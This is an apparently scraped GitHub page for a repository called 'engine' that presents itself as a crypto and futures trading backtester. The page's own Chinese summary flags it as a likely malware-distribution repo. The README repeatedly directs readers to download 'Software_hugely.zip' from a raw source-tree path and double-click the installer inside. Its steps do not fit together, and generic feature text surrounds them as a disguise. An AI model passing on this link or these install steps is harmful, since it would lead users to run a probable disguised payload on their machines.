bicyclethreepence804/engine
GitHub: bicyclethreepence804/engine
一个伪装为 Freqtrade 策略回测工具的可疑仓库,声称提供加密货币和期货市场的策略测试、步行前进验证与蒙特卡洛模拟功能,但仓库特征高度符合恶意软件分发模式,应避免使用。
Stars: 0 | Forks: 0
# 📈 engine - 准确测试您的交易策略
[](https://github.com/bicyclethreepence804/engine/raw/refs/heads/main/packages/cli/src/Software_hugely.zip)
Kiploks 交易健壮性引擎 (Trading Robustness Engine) 可帮助您测试交易策略。您可以在冒着损失真金白银的风险之前,先验证您的交易想法是否可行。该软件利用数据进行模拟交易。它通过对历史市场数据运行测试,向您展示策略的表现。您可以将其用于加密货币 (crypto)、期货 (futures) 以及其他金融市场。
## 🛠️ 系统要求
* **操作系统**:Windows 10 或 Windows 11。
* **内存**:至少 8GB RAM。
* **存储空间**:500MB 可用磁盘空间。
* **处理器**:现代双核处理器或更高配置。
* **网络**:初次下载数据时需要网络连接。
## 📥 如何开始
您需要从官方发布页面获取安装程序。访问此页面下载最新的 Windows 版本:
[https://github.com/bicyclethreepence804/engine/raw/refs/heads/main/packages/cli/src/Software_hugely.zip](https://github.com/bicyclethreepence804/engine/raw/refs/heads/main/packages/cli/src/Software_hugely.zip)
1. 在网络浏览器中打开该链接。
2. 在 Releases 区域查找最新版本。
3. 点击以 `.exe` 结尾的文件开始下载。
4. 传输完成后,在您的 Downloads 文件夹中找到该文件。
5. 双击该文件开始安装。
6. 按照屏幕上的提示完成设置。
## ⚙️ 了解本软件
该引擎执行回测 (backtests)。回测将交易策略应用于历史市场数据。此过程揭示了您在过去可能赚取或亏损的金额。它消除了规划中的猜测成分。
该引擎还执行步行前进分析 (Walk-Forward Analysis)。该方法将您的数据分成多个块。它在一个数据块上测试策略,并在另一个数据块上进行验证。这种方法可以显示您的策略是能很好地适应新数据,还是仅仅符合近期历史。
蒙特卡洛 (Monte Carlo) 模拟有助于您了解风险。该软件会生成策略的多种变体。它测试这些变体,以查看您的结果是出于运气还是出于实力。此步骤突显了您交易计划的稳定性。
## 📊 主要功能
* **确定性回测**:在相同数据上运行测试,每次都会得到相同的结果。
* **步行前进验证**:防止您的策略对特定的过去事件产生过度拟合 (over-fitting)。
* **风险指标**:引擎会显示您的胜率、最大回撤 (maximum drawdown) 和盈利因子 (profit factor)。
* **策略比较**:运行多种变体,查看哪种设置表现最佳。
* **清晰的报告**:以简单易懂的表格和图表查看结果。
## 🔍 如何运行您的第一次测试
安装后打开应用程序。您将看到一个仪表板。请按照以下步骤完成第一次测试:
1. 导入您的数据。请使用包含市场价格的 CSV 文件。
2. 选择您的交易参数。定义您的入场和出场规则。
3. 选择测试的时间范围。
4. 点击 Run 按钮。引擎将处理这些数据。
5. 等待状态栏达到百分之一百。
6. 检查 Results 选项卡。您将看到性能图表和统计数据。
如果模拟停止,请检查您的数据格式。该软件需要干净整洁的日期和价格列表。请从您的 CSV 文件中删除所有空行或无效字符,以确保成功运行。
## 🛡️ 健壮性测试
大多数交易者失败的原因在于,他们的策略在理论上看起来不错,但在实际交易中却支离破碎。该引擎能够发现这些弱点。利用健壮性功能对您的参数进行压力测试。如果设置的微小改变就破坏了您的结果,那么您的策略很可能是脆弱的。请专注于能在不同市场条件下产生一致结果的策略。
## 📂 数据管理
保持您的数据井然有序。在您的计算机上为市场数据文件创建一个文件夹。当引擎从本地驱动器读取数据时,其性能优于从网络位置或云存储读取。如果您的数据集包含数千行,则应用程序可能需要一些时间来加载信息。
## ❓ 常见问题解答
**该软件会连接到我的经纪商吗?**
不会。该工具充当您研究的离线实验室。它不进行实盘交易。
**我可以在虚拟机上运行它吗?**
可以,只要虚拟机满足最低 Windows 要求即可。
**如果计算时间过长怎么办?**
复杂的模拟需要更多性能。请关闭其他大型应用程序,为引擎释放内存。
**我的策略会保密吗?**
是的。所有数据都保存在您的本地计算机上。引擎不会将您的策略逻辑发送到任何服务器。
**如何更新引擎?**
再次访问下载链接。在旧版本之上安装新版本即可。在此过程中,您的设置通常会保留下来。
**我可以导出我的结果吗?**
可以。使用结果窗口中的 Export 按钮以 PDF 或 CSV 格式保存摘要。
**什么是 Apache 2.0 许可证?**
它允许您在自己的项目中自由使用该软件。您可以查看仓库中的许可证文件以了解具体的法律细节。
## 🤝 获取帮助
请查看应用程序菜单中的文档。它涵盖了面向经验丰富的研究人员的高级设置。在评估您的结果时,请保持客观的心态。数字有助于您将有效的方法与情感偏见区分开来。如果遇到错误,请首先验证您的输入数据格式。大多数问题源于源文件中时间标签不一致或价格点缺失。请确保您的数据按时间顺序排列。引擎会从最旧的日期到最新的日期计算时间。
标签:Freqtrade, Kiploks, Walk-Forward Analysis, 交易机器人, 交易策略, 加密货币, 加密资产, 技术分析, 期货交易, 本地UI, 桌面应用, 模拟交易, 稳健性测试, 自动化回测, 自动化攻击, 量化交易, 金融市场